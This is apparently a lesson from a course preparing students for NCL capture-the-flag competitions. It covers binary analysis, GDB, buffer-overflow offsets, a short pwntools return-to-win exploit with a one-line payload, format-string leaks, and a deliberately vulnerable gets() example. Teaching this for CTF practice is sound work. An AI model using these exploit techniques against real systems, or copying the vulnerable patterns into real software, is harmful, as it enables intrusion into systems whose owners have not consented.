ctf Lesson 28 20 min read

NCL: Enumeration & Exploitation

Binary analysis, buffer overflows, and reverse engineering with GDB

Enumeration & Exploitation

Enumeration and exploitation is the most advanced NCL category. You are given compiled binaries and must analyze them to find vulnerabilities, extract hidden information, or exploit weaknesses like buffer overflows. This category directly builds on the C programming and memory management skills from Weeks 6-10 of this course.


1. Binary Analysis Basics

Before exploiting a binary, you need to understand what it does. These tools extract information without running the program:

strings

# Find readable text in a binary (flags, passwords, error messages)
strings ./binary | grep -i "flag\|password\|key\|secret"

# Find specific format patterns
strings ./binary | grep "SKY-"

Many CTF challenges hide flags as plaintext strings inside the binary. Always try strings first.

file and checksec

# Identify the binary type
file ./binary
# Output: ELF 64-bit LSB executable, x86-64, dynamically linked

# Check security protections
checksec --file=./binary

checksec shows which exploit mitigations are enabled:

Protection What it prevents Enabled?
NX (No Execute) Executing code on the stack Usually yes
ASLR Address randomization OS-level, not per-binary
Stack Canary Stack buffer overflow detection Check binary
PIE Position-independent executable (randomized base address) Check binary
RELRO GOT overwrite protection Partial or Full

In CTF, disabled protections tell you which exploits are viable. No NX = you can execute shellcode on the stack. No canary = stack overflows are straightforward.

objdump

# Disassemble the binary
objdump -d ./binary | less

# Disassemble a specific function
objdump -d ./binary | grep -A 50 "<main>:"

# Show all section headers
objdump -h ./binary
Checkpoint: checksec shows NX is disabled and there is no stack canary. What type of exploit is most likely viable?

A stack-based buffer overflow with shellcode injection. Without NX, the stack is executable — you can write shellcode (machine instructions) into a buffer and redirect execution to it. Without a canary, there is no detection of the overflow. This is the classic buffer overflow exploit.


2. Dynamic Analysis with GDB

GDB (GNU Debugger) lets you run a program step-by-step, set breakpoints, examine memory, and inspect registers. This is essential for understanding program behavior and developing exploits.

Basic GDB workflow

gdb ./binary                   # Load the binary

# Inside GDB:
(gdb) disas main               # Disassemble main()
(gdb) break *main              # Set breakpoint at main
(gdb) break *main+42           # Break at specific instruction
(gdb) run                      # Run the program
(gdb) run < input.txt          # Run with input from file

# At a breakpoint:
(gdb) info registers           # Show all register values
(gdb) x/20x $rsp              # Examine 20 hex words at stack pointer
(gdb) x/s 0x400abc            # Examine as string at address
(gdb) ni                       # Next instruction (step over)
(gdb) si                       # Step into function call
(gdb) continue                 # Continue to next breakpoint

Key registers (x86-64)

Register Purpose
RIP Instruction pointer — address of the next instruction to execute
RSP Stack pointer — top of the stack
RBP Base pointer — bottom of current stack frame
RAX Return value from functions
RDI, RSI, RDX, RCX First four function arguments (in order)

Finding the buffer overflow offset

If a program crashes on long input, you need to find exactly how many bytes it takes to overwrite the return address:

# Generate a pattern
python3 -c "print('A' * 100)" | ./binary

# If it segfaults, check what's in RIP:
(gdb) run <<< $(python3 -c "print('A'*100)")
(gdb) info registers rip
# If RIP = 0x4141414141414141, the A's reached the return address

Use a cyclic pattern to find the exact offset:

# Generate with pwntools
from pwn import *
print(cyclic(100))
# Use cyclic_find() with the value in RIP to get the offset
Checkpoint: In GDB, you set a breakpoint at main and run the program. It hits the breakpoint. What command shows the assembly instructions around the current position?

disas (short for disassemble) shows the assembly for the current function with an arrow => indicating the current instruction. You can also use x/10i $rip to show the next 10 instructions from the current instruction pointer.


3. Buffer Overflow Exploitation

A buffer overflow occurs when a program writes more data to a buffer (array) than it can hold, overwriting adjacent memory — including the saved return address on the stack. By controlling the return address, an attacker controls where execution goes next.

The stack layout

High addresses
┌─────────────────────┐
│ Return address      │ ← overwrite THIS to hijack control
├─────────────────────┤
│ Saved RBP           │
├─────────────────────┤
│ Local variables     │
│ (buffer starts here)│ ← input goes here, overflows upward
└─────────────────────┘
Low addresses

Vulnerable C code pattern

void vulnerable() {
    char buffer[64];
    gets(buffer);    // No bounds checking — reads until newline
    // After gets(), if input > 64 bytes, it overwrites the return address
}

gets() is the textbook vulnerable function — it reads unlimited input into a fixed buffer. strcpy() without length checking has the same problem.

Simple exploit: redirect to a hidden function

Many CTF challenges include a win() or flag() function that is never called normally. The exploit overwrites the return address with the address of that function:

from pwn import *

# Connect to the target
p = process('./binary')  # or remote('target.com', port)

# Build the payload
offset = 72          # bytes to reach return address (found with GDB)
win_addr = 0x401234  # address of win() (found with objdump)

payload = b'A' * offset + p64(win_addr)

p.sendline(payload)
p.interactive()
Checkpoint: objdump shows a function called "print_flag" at address 0x4011a0 that is never called in main(). The program uses gets() for input. How do you exploit this?
  1. Find the buffer size and offset to the return address (use GDB with cyclic pattern)
  2. Build a payload: 'A' * offset + address_of_print_flag
  3. The address must be in little-endian format (x86-64): \xa0\x11\x40\x00\x00\x00\x00\x00
  4. Send the payload as input: python3 -c "print('A'*72 + '\xa0\x11\x40\x00\x00\x00\x00\x00')" | ./binary

The overflow overwrites the return address with 0x4011a0. When the vulnerable function returns, execution jumps to print_flag().


4. Format String Vulnerabilities

Format string vulnerabilities occur when user input is passed directly as the format argument to printf():

// Vulnerable:
printf(user_input);    // If user_input = "%x %x %x", it leaks stack values

// Safe:
printf("%s", user_input);  // User input treated as data, not format

Reading memory

%x       — print the next value on the stack (hex)
%s       — print the string at the address on the stack
%n       — WRITE the number of bytes printed so far to the address on the stack
%7$x     — print the 7th value on the stack (direct parameter access)

Entering %x %x %x %x %x %x as input to a vulnerable program leaks stack contents, which may include addresses, canary values, or other sensitive data.


5. Reverse Engineering

Some NCL challenges give you a binary and ask what it does (without source code). The approach:

# Static analysis
strings ./binary          # Readable text
objdump -d ./binary       # Disassembly
ltrace ./binary           # Trace library calls (strcmp, puts, etc.)
strace ./binary           # Trace system calls (open, read, write)

ltrace is particularly useful — if the program compares your input with strcmp(), ltrace shows both arguments:

ltrace ./binary
# Output: strcmp("your_input", "s3cr3t_p4ss") = -1
# The password is "s3cr3t_p4ss"

Tools

Tool Purpose
GDB Debugger — breakpoints, memory inspection, step execution
objdump Disassembler — view assembly code
strings Extract readable text from binaries
ltrace Trace library function calls
strace Trace system calls
checksec Check binary security protections
pwntools Python library for exploit development
Ghidra NSA’s free decompiler (binary → pseudo-C)

Resources

Practice: pwn.college (ASU’s free binary exploitation platform — highly recommended) · picoCTF Binary Exploitation · ROP Emporium (return-oriented programming)

Reference: Nightmare — CTF binary exploitation guide · pwntools Documentation

Video: LiveOverflow — Binary Exploitation · John Hammond — pwn CTF